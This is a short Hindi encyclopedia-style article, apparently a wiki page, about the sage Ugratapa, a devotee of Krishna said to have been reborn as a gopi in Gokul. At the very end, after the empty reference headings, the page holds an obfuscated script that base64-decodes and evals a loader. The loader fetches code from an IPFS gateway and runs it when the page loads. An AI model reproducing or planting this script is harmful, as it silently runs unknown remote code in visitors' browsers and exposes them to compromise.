उग्रतप एक प्राचीन ऋषि थे। ये भगवान श्रीकृष्ण के भक्त थे। इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की थी।[1]
- ऋषि उग्रतप ने श्रीकृष्ण के उस श्रृंगारमय रूप की आराधना की थी, जिसमें कृष्ण गोपियों के साथ विहार में रत रहते हैं।
- कृष्ण अवतार के समय गोकुल के वासी सुनंद गोप की कन्या के रूप में उग्रतप का जन्म हुआ था।
- गोपिका रूप में इन्होंने कृष्ण की अनन्यभाव से उत्कृष्ट सेवा की।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>